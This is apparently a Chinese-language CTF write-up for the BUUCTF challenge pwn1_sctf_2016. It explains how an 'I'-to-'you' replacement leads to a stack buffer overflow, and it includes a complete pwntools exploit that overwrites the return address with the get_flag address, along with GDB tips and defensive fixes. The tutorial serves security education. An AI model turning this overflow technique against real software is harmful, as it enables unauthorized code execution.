从CTF新手到入门:手把手带你复现BUUCTF的pwn1_sctf_2016栈溢出漏洞

张开发
2026/6/20 3:17:59 15 分钟阅读
从CTF新手到入门:手把手带你复现BUUCTF的pwn1_sctf_2016栈溢出漏洞
从CTF新手到入门手把手带你复现BUUCTF的pwn1_sctf_2016栈溢出漏洞当你第一次打开IDA反汇编工具面对满屏的汇编代码和陌生的函数调用时那种手足无措的感觉我完全理解。三年前的我也是这样盯着这道pwn1_sctf_2016题目发呆不知道从何下手。但别担心今天我会带你用侦探般的思维一步步拆解这个看似复杂的栈溢出漏洞让你真正理解为什么这样构造payload而不仅仅是复制粘贴exp代码。1. 环境准备与初步分析在开始之前我们需要准备好基本的工具链。对于这道题目你将需要32位Linux虚拟机推荐Ubuntu 18.04IDA Pro或免费的Ghidrapwntools工具包GDB调试器建议安装peda插件首先我们使用checksec检查二进制文件的安全机制checksec pwn1_sctf_2016你会看到类似这样的输出Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键信息是32位程序i386架构没有栈保护No canaryNX启用不能直接执行栈上的代码没有地址随机化PIE disabled这些信息告诉我们这可能是一个经典的栈溢出题目我们需要通过覆盖返回地址来劫持程序流程。2. 逆向工程像侦探一样阅读代码用IDA打开二进制文件后我们首先寻找关键函数。按下空格键切换到图形视图你会看到更直观的控制流图。2.1 发现目标函数在函数列表中我们注意到几个关键点get_flag函数int get_flag() { return system(cat flag.txt); }这是一个明显的目标地址是0x08048F0D。main函数int main() { vuln(); return 0; }它简单地调用了vuln函数。vuln函数 这才是真正的漏洞所在它包含三个关键操作使用fgets读取用户输入调用replace函数进行字符串替换使用strcpy进行字符串复制2.2 理解栈布局在vuln函数中我们需要特别关注栈的布局。通过IDA的栈帧分析我们可以看到-0000003C s db 60 dup(?) -0000001C var_1C db ? -00000018 var_18 db ? -00000011 var_11 db ? -00000010 var_10 db ? -00000009 var_9 db ? -00000004 var_4 dd ? 00000000 s db 4 dup(?) 00000004 r db 4 dup(?)关键变量s位于ebp-0x3C即60字节处而返回地址保存在ebp4的位置。这意味着我们需要覆盖64字节才能触及返回地址。3. 漏洞分析与利用3.1 理解字符串替换机制程序的核心漏洞在于replace函数的特殊行为。通过动态调试我们发现输入中的I会被替换为you每个I1字节变成you3字节这导致输入可以膨胀3倍例如输入IIII (4字节) 替换后youyouyouyou (12字节)3.2 计算精确偏移我们需要构造一个payload使得经过替换后刚好覆盖返回地址。计算步骤如下原始缓冲区大小60字节需要覆盖的额外空间4字节保存的ebp总共需要覆盖64字节由于替换比例为1:3我们需要20个I → 60字节4个填充字符 → 4字节目标地址 → 4字节这样替换后的字符串将是you重复20次60字节 4字节填充 目标地址4字节3.3 构造有效payload使用pwntools构造expfrom pwn import * context(archi386, oslinux) # 本地测试 # p process(./pwn1_sctf_2016) # 远程连接 p remote(node4.buuoj.cn, 12345) get_flag_addr 0x08048F0D payload bI*20 # 将被替换为60字节的you payload bA*4 # 填充4字节 payload p32(get_flag_addr) p.sendline(payload) p.interactive()4. 调试技巧与验证4.1 使用GDB验证栈布局在关键点设置断点gdb ./pwn1_sctf_2016 b *0x080492BF # strcpy调用前观察栈状态x/32wx $esp确认我们的payload是否正确覆盖了返回地址。4.2 常见问题排查如果exp不工作检查以下几点地址是否正确小端序偏移计算是否准确网络连接是否正常远程题目是否考虑了所有安全机制5. 漏洞原理深入这个漏洞展示了几个重要的安全概念二次处理漏洞原始输入经过处理后产生新的漏洞长度计算错误开发者没有考虑替换后的长度变化链式反应fgetsreplacestrcpy的组合产生了非预期的效果理解这些原理比记住exp代码更重要它们能帮助你在遇到新题目时举一反三。6. 防御措施如果我是开发者会这样修复这个漏洞限制替换后的最大长度使用strncpy替代strcpy添加栈保护机制canary在实际开发中安全编码的最佳实践包括始终检查缓冲区边界使用安全函数如snprintf替代sprintf进行充分的输入验证7. 扩展学习掌握了这个基础漏洞后你可以尝试修改exp实现更复杂的ROP链尝试在NX启用的情况下绕过保护研究其他年份的SCTF题目记住CTF比赛中最有价值的不是flag本身而是解决问题的思路和方法。每次遇到新题目都问问自己程序做了什么哪里有漏洞如何利用如何防御这种思维方式将帮助你在二进制安全的道路上走得更远。

更多文章